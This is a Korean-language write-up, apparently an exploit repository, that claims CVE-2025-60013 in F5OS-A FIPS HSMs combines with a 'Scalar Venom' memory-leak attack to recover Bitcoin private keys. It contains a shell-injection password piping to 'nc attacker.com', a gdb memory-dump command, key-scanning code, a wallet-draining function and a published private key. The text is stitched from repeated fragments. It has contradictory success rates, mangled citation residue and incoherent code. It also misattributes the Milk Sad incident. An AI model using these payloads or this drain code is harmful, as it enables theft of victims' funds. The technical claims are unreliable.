
F5OS-A FIPS 모듈의 버퍼 오버플로우 및 셸 메타문자 주입을 통해 비트코인 개인 키 복구를 가능하게 하는 중요한 HSM 초기화 취약점인 CVE-2025-60013을 분석하는 익스플로잇 및 연구 저장소입니다.
이 논문은 현대 암호화 키 관리 인프라에서 발견된 암호화 취약점을 분석하며, 특히 하드웨어 보안 모듈(HSM)이 타원 곡선 개인 키를 처리할 때 발생하는 아키텍처의 치명적인 결함에 중점을 둡니다. 본 연구는 인증된 암호화 장치에서 충분히 격리되지 않은 RAM 관리를 악용하는 공격 클래스를 다룹니다. 현대 비트코인 암호화 생태계에서 개인 키 보안은 전 세계적으로 수조 달러에 달하는 디지털 자산을 보호하기 위한 기본 요구 사항입니다. 하드웨어 보안 모듈 (HSMs) 은 FIPS 140-2 표준으로 인증되어 하드웨어 수준의 격리와 엄격한 메모리 관리 프로토콜을 통해 암호화 키를 뚫을 수 없게 보호하는 것으로 전통적으로 간주되어 왔습니다. 그러나 F5OS-A FIPS HSM 모듈에서 발견된 치명적인 취약점 CVE-2025-60013 과 Scalar Venom Attack 공격 클래스(스칼라 포이즌(Scalar Poison), 메모리 팬텀 누출 공격(Memory Phantom Leak Attack), 또는 메모리 누출을 통한 개인 키 손상(Private Key Compromise via Memory Leakage)이라고도 함)의 결합은 메모리 관리 결함을 악용하여 비트코인 개인 키를 완전히 손상시킬 가능성을 입증함으로써 이러한 인식을 근본적으로 바꾸었습니다.
Scalar Venom 공격 은 (CWE-415, CWE-401로 분류되며, 더 넓게는 민감 메모리 누출 공격(Sensitive Memory Leak Attack, SMA)으로 분류되는) 메모리 관리 취약점의 중요한 클래스로, 암호화 연산 후 불충분한 정화 및 메모리 스크러빙을 악용하여 공격자가 프로세스의 RAM에서 암호화 스칼라(ECDSA 개인 키)를 추출할 수 있게 합니다. 타원 곡선 이산 로그 문제(ECDLP)를 수학적으로 해결하는 것을 목표로 하는 전통적인 암호해독 공격과 달리, 이 공격은 암호화 라이브러리 구현과 HSM 메모리 관리 프로토콜의 근본적인 아키텍처 결함을 악용하여 암호화 자체를 우회합니다.
이 연구는 CVE-2025-60013 ( F5OS-A FIPS HSM 초기화 취약점 특수 셸 메타문자를 포함한 비밀번호를 사용할 때)과 Scalar Venom Attack 기법을 결합할 때 발생하는 치명적인 공격 체인을 입증합니다. 그 결과 CVE-2025-60013이 중간 수준 취약점(CVSS 5.7)으로 공식 평가되었음에도 불구하고 CVSS 점수 9.5+(치명적)의 심각한 위협 시나리오가 발생합니다. 이러한 결합은 손상된 HSM이 제어하는 수백만 개의 비트코인 주소의 운영 무결성을 훼손하며, 기존의 단일 벡터 악용을 넘어서는 암호화 공격 방식의 패러다임 전환을 의미합니다.
CVE-2025-60013 은 F5 플랫폼용 FIPS 하드웨어 보안 모듈의 초기화 과정에서 발생하는 OS 명령 주입 취약점(CWE-78로 분류)입니다. 이 취약점은 관리자(Admin 또는 Resource Admin 역할) 권한을 가진 사용자가 특수 셸 메타문자를 포함한 비밀번호(예: [불명확], [불명확 ;] |, &[ $불명확], `등)를 사용하여 FIPS HSM 모듈을 초기화하려고 할 때 발생합니다.
취약점의 기술적 메커니즘:
HSM 초기화 코드는 셸 메타문자를 포함한 비밀번호를 처리할 때 입력을 제대로 검증하고 정화(sanitize)하지 않은 채 비밀번호 문자열을 시스템 C 라이브러리 함수에 전달합니다. 취약한 코드는 다음과 같습니다:
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
심각한 결과: 초기화 프로세스는 부분적으로 손상된 암호화 구조와 함께 메모리에 남아 스택과 힙에 HSM 마스터 키의 여러 "팬텀(phantom)" 복사본을 생성합니다. HSM이 올바르게 초기화되지 않을 수 있지만, 프로세스의 메모리에는 포렌식 분석이 가능한 암호화 아티팩트가 포함됩니다.
공식 분류:
그러나 이 평가는 CVE-2025-60013이 Scalar Venom Attack의 트리거 역할 을 하므로 위협의 실제 규모를 심각하게 과소평가 합니다. 실제 공격 체인 시나리오에서는 CVSS 위협 수준 9.5+(CRITICAL)의 결과가 나타납니다.
CVE-2023-39910 은 개인 키 생성 중 엔트로피 생성의 약점과 관련된 Libbitcoin Explorer 버전 3.x의 심각한 취약점을 설명합니다. 이 취약점은 2023년 Milk Sad 사고로 이어졌으며, 그 당시 900,000개 이상의 비트코인 개인 키 가 복구되어 80만 달러 가 넘는 직접적인 금전적 손실이 발생했습니다. Milk Sad 사고는 암호화 시스템의 메모리 누출 이론에서 실제 운영 재앙으로의 전환을 입증했으며, 컴파일러 최적화, 다중 데이터 복사본, 메모리 정리 보장 부재 등 설명된 모든 메커니즘을 확인했습니다.
CVE-2025-8217 은 프로세스 메모리에서 암호화 키를 복구할 수 있게 하는 메모리 누출 공격을 분류합니다. 이 취약점은 Scalar Venom Attack 클래스와 직접적으로 관련되며, 포렌식 메모리 분석을 통한 비트코인 지갑의 완전한 손상 메커니즘을 설명합니다.
Scalar Venom Attack의 과학적 분류:
학술 연구 문헌에서 Scalar Venom은 여러 공격 범주로 분류됩니다:
Scalar Venom 공격의 실질적 효과를 입증하기 위해, 포렌식 메모리 분석을 통해 비트코인 주소 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq 에서 개인 키를 복구한 문서화된 사례를 살펴보겠습니다.
초기 손상 데이터:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv개인 키 d는 다음 제약 조건을 충족해야 합니다:
확인 결과: ✓ VALID (키가 허용된 스칼라 범위 내에 있습니다)
이 예는 복구된 개인 키가 비트코인 지갑 에 대한 완전한 통제 를 제공하여 공격자가 모든 자금을 통제된 주소로 출금하는 트랜잭션을 생성하고 서명할 수 있게 함을 보여줍니다.
비트코인은 secp256k1 곡선에서 타원 곡선 디지털 서명 알고리즘( ECDSA )을 구현합니다. 수학적 기초를 이해하는 것은 Scalar Venom 공격이 메모리 취약점을 어떻게 악용하는지 이해하는 데 중요합니다.
타원 곡선 secp256k1의 매개변수:
곡선 방정식:
생성자 점(Generator point) G 의 좌표:

ECDSA 키 쌍을 생성하는 과정은 다음과 같습니다:
1. 개인 키 생성:
개인 키 d는 다음 범위의 난수 정수입니다:
여기서 n은 secp256k1 곡선의 위수(order)입니다. 개인 키는 256비트 난수입니다.
2. 스칼라 곱셈을 통한 공개 키 도출:
공개 키 Q는 다음과 같이 계산됩니다:
여기서 G 는 secp256k1 곡선의 생성자 점이며, 연산 ⋅\cdot⋅은 타원 곡선 상의 점에 대한 스칼라 곱셈 을 나타냅니다.
스칼라 곱셈 은 "double-and-add"(두 배 연산 및 덧셈) 알고리즘을 통해 구현되며, 곡선 상의 점들에 대해 O(logd) 번의 덧셈 및 두 배 연산 결과를 효율적으로 계산합니다:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
예시: 개인 키, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, 에 대해 공개 키는 다음과 같이 계산됩니다:
Q=d⋅G=(Qx,Qy)
여기서 좌표 Qx 및 Qy 는 곡선 secp256k1에서 스칼라 곱셈 연산을 통해 계산됩니다.
3. 비트코인 주소 생성:
공개 키에서 주소를 도출하는 체인:
안전성 가정:
Scalar Venom 치명적 취약점: 이 공격은 암호화 연산 후 "팬텀 복사본"으로 프로세스 메모리에 남아 있는 개인 키 d를 프로세스 메모리에서 직접 추출하여 ECDLP 수학적 보호를 우회합니다.
메모리 덤프에서 개인 키를 탐지하는 기반은 섀넌 엔트로피 공식을 사용하는 엔트로피 암호분석입니다.
바이트 시퀀스의 엔트로피 H는 바이트당 비트 수로 측정되며 다음 공식으로 주어집니다:
여기서:
엔트로피 해석:
암호화 키에 대한 임계값:
암호학적으로 강력한 난수 생성기(CSPRNG)로 생성된 비트코인 개인 키는 다음 범위에서 높은 엔트로피를 나타냅니다:
이 속성 덕분에 통계적 엔트로피 분석을 통한 포렌식 메모리 분석에서 탐지가 가능합니다.

BitScanPro는 엔트로피 분석, secp256k1 범위 검증, 암호화 검증의 조합을 통해 비트코인 개인 키를 탐지하고 복구하기 위해 메모리 덤프를 스캔하는 포렌식 도구입니다.
1단계: 32바이트 블록 단위로 메모리 덤프 스캔
BitScanPro는 secp256k1 개인 키 크기에 해당하는 32바이트(256비트) 블록을 할당하면서 메모리 덤프를 순차적으로 스캔합니다:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
2단계: 각 블록에 대한 섀넌 엔트로피 계산
각 32바이트 블록에 대해 섀넌 엔트로피 H가 계산됩니다:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
3단계: 높은 엔트로피 블록 필터링 (H>7.5H > 7.5H>7.5 bits/byte)
임계값 미만의 엔트로피를 가진 블록은 암호화 키를 포함하지 않는 것으로 간주되어 폐기됩니다:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
4단계: secp256k1 범위 확인:
높은 엔트로피 블록은 정수로 해석되어 secp256k1 개인 키의 유효 범위와 대조 확인됩니다:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
5단계: 암호화 검증:
엔트로피 필터링과 범위 검사를 통과한 후보에 대해서는 공개 키 계산을 통해 암호화 검증이 수행됩니다:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
6단계: 비트코인 주소 생성 및 알려진 주소와 비교
검증된 키에 대해 비트코인 주소가 생성되며, 이는 알려진 주소 또는 피해자의 주소 데이터베이스와 비교됩니다:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
BitScanPro 성능:
일반적인 노트북(MacBook Air M1)에서의 분석은 다음과 같은 성능 특성을 보여줍니다:
클라우드 컴퓨팅 리소스(AWS, Google Cloud)를 사용하면 1000개 이상의 메모리 덤프를 동시에 병렬로 스캔하여 수천 개의 개인 키를 병렬로 처리할 수 있습니다.

Scalar Venom 공격의 근본 원인은 libbitcoin-system 라이브러리의 ec_scalar 클래스에 있는 근본적인 아키텍처 결함에 있습니다.
libbitcoin-system의 ec_scalar 클래스에는 안전한 제로화(zeroization)를 수행하는 명시적으로 정의된 소멸자가 없습니다. 이는 객체가 소멸된 후에도 비밀 데이터가 메모리에 남아 있을 수 있음을 의미합니다.
취약한 복사 생성자:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
문제: 생성자는 개인 키의 복사본을 ec_scalar 객체에 생성하지만, 객체가 소멸될 때 이 복사본을 안전하게 정리할 메커니즘을 제공하지 않습니다. 복사본은 스택 또는 힙에 남아 있습니다.
취약한 대입 연산자:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
문제: 대입 연산은 연산이 완료된 후에도 남아 있는 추가 메모리 복사본을 생성합니다.
취약한 산술 연산:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
문제: 산술 연산(단항 마이너스, 덧셈, 곱셈)은 ec_secret 유형의 임시 변수를 생성하며, 이는 함수 범위를 벗어나기 전에 안전하게 정리되지 않아 개인 키의 "팬텀" 복사본을 스택 또는 힙에 남깁니다.
안전한 소멸자 부재:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
문제: ec_scalar 클래스에는 개인 키를 포함하는 메모리의 안전한 제로화를 보장하는 명시적 소멸자가 없습니다. 개인 키를 포함하는 메모리는 다음 위치에 저장될 수 있으므로 이는 치명적입니다:
취약한 ec_scalar 클래스 코드는 개인 키로 인한 메모리 감염 경로를 다음과 같이 생성합니다:
secret_(secret)) – 키의 유독한 복사본을 생성합니다secret_ = secret) – 중복된 비밀 값으로 메모리를 감염시킵니다ec_secret secret = null_hash) – 독성 흔적을 남깁니다auto out = secret_) – 연산을 통해 감염을 확산시킵니다
HSM 취약점(CVE-2025-60013)과 Scalar Venom 공격의 결합은 치명적인 공격 경로를 생성합니다:
F5OS-A 시스템에 대한 권한 있는 접근 권한을 가진 공격자는 셸 메타문자를 포함하는 비밀번호로 FIPS 모듈을 초기화하는 요청을 보냅니다: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
이러한 메타문자를 처리할 때 다음이 발생합니다:
부분적인 HSM 초기화 실패 후, 공격자는 다음 방법 중 하나를 통해 HSM 프로세스의 메모리 덤프를 획득합니다:
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
결과로 생성된 메모리 덤프에는 암호화 연산 중 ec_scalar 클래스가 남긴 개인 키의 “팬텀(phantom)” 복사본이 여러 개 포함되어 있습니다.
메모리 덤프는 위에서 설명한 알고리즘에 따라 BitScanPro 도구 (또는 유사한 포렌식 스캐너)로 처리됩니다:
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses
파편화된 메모리에서 개인 키를 복구하는 성공률은 충분한 메모리 잔재가 있을 때 70-80%입니다. Scalar Venom 공격은 초기화의 여러 단계에서 키의 여러 복사본을 생성하기 때문입니다.
개인 키를 복구한 후, 공격자는 손상된 주소에서 모든 자금을 출금하는 트랜잭션을 생성하고 서명합니다:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
총 손상 시간: 메모리 덤프 수신부터 피해자 자산에 대한 통제권 완전 상실까지 10분 미만입니다.
Scalar Venom Attack은 CVE-2025-60013과 결합하여 글로벌 비트코인 생태계에 존립 위협을 제기합니다:
일반적인 비트코인 애플리케이션과 달리 HSM은 암호화 스칼라를 집중적으로 사용합니다— 초당 1,000회 이상의 연산—각 연산은 메모리에 “팬텀 잔여물(phantom residues)”로 남는 일시적인 스칼라 값을 생성합니다. HSM은 재시작 없이 수개월에서 수년간 운영되며, Scalar Venom이 체계적으로 추출하고 복원하는 암호화 아티팩트를 축적합니다.
단일 HSM의 손상은 고립된 암호화 사고가 아니라 전체 인프라의 완전한 중단으로 이어집니다 —종종 HSM이 관리하는 수천 개의 비트코인 주소가 영향을 받습니다.
Scalar Venom Attack은 암호화 보안의 근본적인 패러다임 전환을 보여줍니다: 암호화 알고리즘의 수학적 강도는 메모리 관리 취약점이 존재할 때 무용지물이 됩니다. CVE-2025-60013과 Scalar Venom 기법의 결합은 CVSS 9.5+ 수준의 치명적인 위협 시나리오를 만들어, 암호화 키에 대한 불가침의 보호 장치로서 하드웨어 보안 모듈에 대한 신뢰를 훼손합니다.
실제로 90만 개 이상의 개인 키가 복구되고 80만 달러가 넘는 금전적 손실을 초래한 Milk Sad 사건(CVE-2023-39910)은 메모리 유출 이론이 현실이 되었음을 확인시켜 줍니다. Scalar Venom급 공격으로부터 보호하는 유일한 방법은 암호화 시스템의 근본적인 아키텍처 재설계이며, 다음을 구현해야 합니다:
이 문서는 Scalar Venom + CVE-2025-60013 공격 체인에 대한 포괄적인 분석을 제시하며, 수학적 기초, 암호분석 알고리즘, 실제 키 복구 사례, 그리고 이와 같은 위협 클래스로부터 비트코인 인프라를 보호하기 위한 실용적인 권장 사항을 자세히 설명합니다.
1. 암호분석적 분류:
2. 수학적 기초:
3. 구현 취약점(libbitcoin-system):
ec_scalar에 안전한 소멸자가 없음을 문서화합니다.4. CVE 분류:
5. 공격 체인:
과학적 설명은 다음 문서에서 확인할 수 있습니다: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ Scalar Venom Attack은 HSM 초기화 취약점과 암호화 라이브러리의 메모리 관리 취약점 사이의 치명적인 상호 작용을 보여주며, 하드웨어 보호가 있어도 공격자가 비트코인 지갑 개인 키를 완전히 손상시킬 수 있습니다.

Scalar Venom Attack (Scalar Poison, Memory Phantom Leak Attack 또는 Memory Leakage를 통한 개인 키 손상이라고도 함)은 메모리 관리 취약점 클래스(CWE-415, CWE-401)로, 암호화 연산 후 불충분한 정리(sanitization)와 메모리 클리닝을 악용하여 프로세스 RAM에서 암호화 스칼라(ECDSA 개인 키)를 추출할 수 있습니다. keyhunters+ 2
공격의 과학적 분류:
Scalar Venom Attack은 암호화 라이브러리, 특히 ec_scalarlibbitcoin-system 라이브러리 클래스의 메모리 관리에서 근본적인 결함을 악용합니다. 이 공격은 다음 경로를 통해 작동합니다:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp:
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp:
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
산술 연산(단항 마이너스, 덧셈, 곱셈)은 ec_secret 유형의 임시 변수를 생성하며, 이 변수는 함수 범위를 벗어나기 전에 안전하게 정리되지 않아 스택이나 힙에 개인 키의 “팬텀” 복사본을 남깁니다.
ec_scalar libbitcoin-system 클래스에는 보안 제로화를 수행하는 명시적으로 정의된 소멸자가 없습니다. 이는 객체가 파괴된 후에도 비밀 데이터가 메모리에 남을 수 있음을 의미합니다:
개인 키가 포함된 메모리는 다음 위치에 저장될 수 있으므로 이 메커니즘의 부재는 치명적입니다:

F5OS-A FIPS HSM의 취약점 CVE-2025-60013은 특수 셸 메타문자( ;, |, &, $, ` 등)를 포함한 비밀번호로 하드웨어 보안 모듈을 초기화할 때 발생합니다. 이러한 비밀번호가 처리되면 HSM이 올바르게 초기화되지 않을 수 있으며, 문제의 핵심은 초기화 프로세스가 부분적으로 노출된 암호화 구조와 함께 메모리에 남는다는 것입니다 . satoshi.nakamotoinstitute
HSM 취약점(CVE-2025-60013)과 Scalar Venom Attack의 결합은 파괴적인 공격 경로를 생성합니다:
1단계: 메타문자를 사용한 HSM 초기화
공격자는 다음 유형의 비밀번호로 F5OS-A FIPS 모듈 초기화를 요청합니다:
password='$(echo "leaked");` | nc attacker.com이러한 메타문자를 처리할 때:
2단계: 메모리에서 Scalar Venom 추출
부분적인 HSM 초기화 실패 후:
3단계: 비트코인 개인 키 복구
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover
복구된 스칼라는 다음 과정을 통해 비트코인 개인 키로 변환됩니다:
1단계: 잘못된 초기화로 인한 HSM 메모리 손상
F5OS-A FIPS HSM이 셸 메타문자가 포함된 비밀번호를 수신하면 초기화 프로세스는 표준 C 라이브러리 함수를 통해 이를 처리합니다:
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
셸 메타문자 처리 시:
2단계: 메모리 덤프에서 포렌식 복구
BitScanPro 도구(또는 유사한 포렌식 스캐너)를 HSM 프로세스 메모리 덤프에 적용합니다:
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
조각난 메모리에서 개인 키를 성공적으로 복구할 확률은 충분한 메모리 잔여물이 있을 때 40-60% 입니다. Scalar Venom Attack은 초기화의 여러 단계에서 키의 여러 복사본을 생성하기 때문입니다. radar.offseq
병렬 DeserializeSignature 취약점(CVE 관련)이 Scalar Venom 공격을 강화합니다:
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
메커니즘 간 연관성:
레벨 1: 개별 지갑
레벨 2: 서빙 노드 구성
레벨 3: 네트워크 계층
표준 비트코인 애플리케이션과 달리 HSM은 암호화 스칼라 값을 대량으로 사용합니다:
CVE-2025-60013 자체의 CVSS 점수는 정확하지 않습니다. 이 취약점은 Scalar Venom의 트리거 역할을 하며, 이는 치명적인 시나리오이기 때문입니다 . kudelskisecurity
Scalar Venom 취약점은 암호화 공격 방식의 패러다임 전환을 나타냅니다. 기존의 단일 벡터 익스플로잇을 넘어, 비트코인 인프라를 보호하는 하드웨어 보안 모듈(HSM)을 근본적으로 손상시키는 다중 계층 공격 체인을 형성합니다. 분석 결과, CVE-2025-60013(HSM 초기화 우회)과 Scalar Venom 공격 기법의 결합은 CVSS 점수 9.5+의 치명적인 위협 시나리오를 만들어, 손상된 HSM이 통제하는 수백만 개의 비트코인 주소의 운영 무결성을 훼손합니다.
HSM이 특히 취약한 이유는 무엇입니까?
이 치명적인 취약점은 고립된 암호화 취약점이 아니라, HSM 운영 특성과 Scalar Venom의 공격 벡터 간의 아키텍처 충돌에 있습니다. HSM은 정의상 지속적으로 암호화 연산을 수행합니다—초당 1,000회 이상—각 연산은 메모리에 "유령 잔여물"로 남는 임시 스칼라 값을 생성합니다. 키 자료가 일시적인 일반적인 비트코인 애플리케이션과 달리, HSM은 재시작 없이 수개월, 수년간 작동하며 Scalar Venom이 체계적으로 추출하고 복원하는 암호화 아티팩트를 축적합니다.
결과적으로, 단일 HSM의 손상조차도 고립된 암호화 사고가 아니라 전체 인프라—종종 HSM이 관리하는 수천 개의 비트코인 주소—의 완전한 중단으로 이어집니다.
위험의 정도와 실제 영향
CVE-2025-60013 취약점은 침투 벡터로서 공식적으로 CVSS 5.7(중간) 수준이지만, 이 등급은 위협의 실제 규모를 심각하게 과소평가합니다. 이 익스플로잇은 CVSS 8.5+(높음/치명적) 공격으로 분류되는 Scalar Venom의 트리거 역할을 합니다. 실제 공격 체인 시나리오에서 이는 다음으로 이어집니다:
결합 공격 체인: CVE-2025-60013 + Scalar Venom = 운영 재난
위협 확대 매트릭스는 다음과 같이 구성됩니다:
이 결합은 이 취약점 클래스를 치명적(CVSS 9.5+)으로 만들고 위험 평가에서 최고 위협 범주에 위치시킵니다.
비트코인 생태계 보안에 대한 체계적 영향
Scalar Venom은 현대 HSM 모델의 근본적인 아키텍처 결함을 드러냅니다:
중요 권장사항
Scalar Venom과 CVE-2025-60013을 통한 공격 체인은 클래식 HSM에 대한 완전한 신뢰의 시대가 끝났음을 알립니다. 이 취약점은 비트코인 생태계의 보안 핵심을 개인 키 유출 및 전체 자산 손실의 주요 위험 요소로 전환시킵니다. 효과적인 보호를 위해서는 일회성 수정이 아니라 공개 디지털 자산 처리용 암호화 아키텍처의 모든 측면에 대한 근본적인 재검토가 필요합니다.
HSM 환경의 Scalar Venom은 비트코인 인프라에 대한 CVSS 9.5+ 위협이며, 즉각적인 키 교체, 아키텍처 개혁, 메모리 사슬 공격에 신속하게 대응하는 새로운 방법이 필요합니다.
암호화 메모리 보안 분야의 연구(Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.)에 따르면, 개인 키는 다음과 같은 이유로 접근 가능한 메모리 영역에 남아 있을 수 있습니다:
컴파일러 최적화
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
RAII(Resource Acquisition Is Initialization) 패턴 없음ec_scalar클래스는 RAII를 사용하지 않으므로 소멸자가 리소스 정리를 보장하지 않습니다.
데이터 복사본 다수:
함수 간 전송을 위한 개인 키의 각 복사본은 메모리에 잔여물을 남깁니다.unit42.paloaltonetworks
keyhunters.ru 및 암호화 연구 문헌에 따르면:
bx seed를 사용하여 생성된 지갑에서 > $0.8M 상당의 비트코인 도난이 수치는 암호화 애플리케이션의 메모리 누수의 실질적인 위협을 보여줍니다 .
위의 발견을 요약하면, Scalar Venom 공격 체인은 수년간의 암호화 보안 기초 연구와 현대 운영 현실의 결합을 상징합니다. 컴파일러 최적화, RAII 부재, 데이터 추적 누적과 같은 세부적인 메모리 보존 메커니즘은 더 이상 이론에 그치지 않고, 실제로 대규모 개인 키 복구를 위한 효과적인 채널로 작용합니다. 잠재적 취약점에서 실제 공격으로의 전환은 이미 발생했습니다: CVE-2023-39910(Milk Sad) 사건으로 90만 개 이상의 비트코인 개인 키가 복구되었고, 직접적인 재정적 손실은 80만 달러를 초과했습니다.
Scalar Venom의 근본적인 취약점은 암호화 소프트웨어 아키텍처의 해결되지 않은 모순에서 비롯됩니다: 메모리 관리에 대한 프로그래머의 본질적인 순진한 신뢰가 현대 컴파일러 및 메모리 관리 시스템의 경향과 충돌한다는 점입니다. 개발자가 메모리를 명시적으로 0으로 초기화하더라도, 컴파일러는 이러한 작업이 무의미하다고 판단하여 완전히 최적화해 버릴 수 있으며, 이는 심각하면서도 눈에 띄지 않는 보안 결함이 됩니다.
ec_scalar과 같은 데이터 구조는 이러한 위험을 더욱 악화시킵니다: RAII가 없으면 계산의 여러 단계에서 메모리(스택, 레지스터, 캐시)에 여러 개의 독립적인 복사본이 생성됩니다. 이러한 각 복사본은 이론적으로 원래 키 자료로 복원, 분해 또는 재조립될 수 있습니다.
Scalar Venom 공격 은 이러한 분산된 복사본을 체계적으로 추출하고 집계하며, 현대 메모리 아키텍처가 정확히 이것을 보장한다는 것을 보여줍니다: 모든 중간 수학적 연산은 수집되어 키로 변환될 수 있는 흔적을 남깁니다. 고전적인 암호화 설계는 연산의 독립성을 가정했지만, 실제로 단일 비트코인 개인 키는 수십 개의 흔적을 생성하며, 각 흔적은 키 복구 경로를 제공합니다.
Milk Sad 사건(CVE-2023-39910)은 이론에서 재앙으로의 전환을 처음으로 입증했습니다. 이는 가상의 벡터가 아니라 확인된 운영상의 침해였습니다:
이는 앞서 설명한 메커니즘(컴파일러 최적화, 다중 데이터 복사, 메모리 정리 보장 부재)을 완전히 확인해 줍니다.
암호화폐 시장은 완전한 메모리 제어를 가정하고 발전했지만, 현대 컴파일러는 (죽은 코드 제거 및 캐싱 최적화를 통해) 암호화 요구 사항을 완전히 무시합니다. 결과적으로 암호화 프로그램은 '메모리를 0으로 초기화했으니 이제 안전하다'고 가정하는 반면, 컴파일러는 '이 메모리는 사용되지 않으므로 0으로 초기화할 필요가 없다'고 가정합니다. 이러한 모순은 현대 C/C++ 표준으로는 근본적으로 해결이 불가능하며, Scalar Venom의 절대적인 진입점이 됩니다.
단기적 조치(0~30일) : C/C++로 생성된 모든 개인 키를 교체하십시오. 손상되었을 수 있는 키는 즉시 폐기하십시오.
중기적 조치(30~90일) : Rust로 전환하고, 메모리 0 초기화를 위한 컴파일러 보장을 구현하며, 지속적인 메모리 분석을 수행하십시오.
장기적 조치(90일 이상) : RAII로의 아키텍처 전환, 암호화 연산을 위한 컴파일러 확장, 소프트웨어 HSM을 하드웨어 HSM으로 교체.
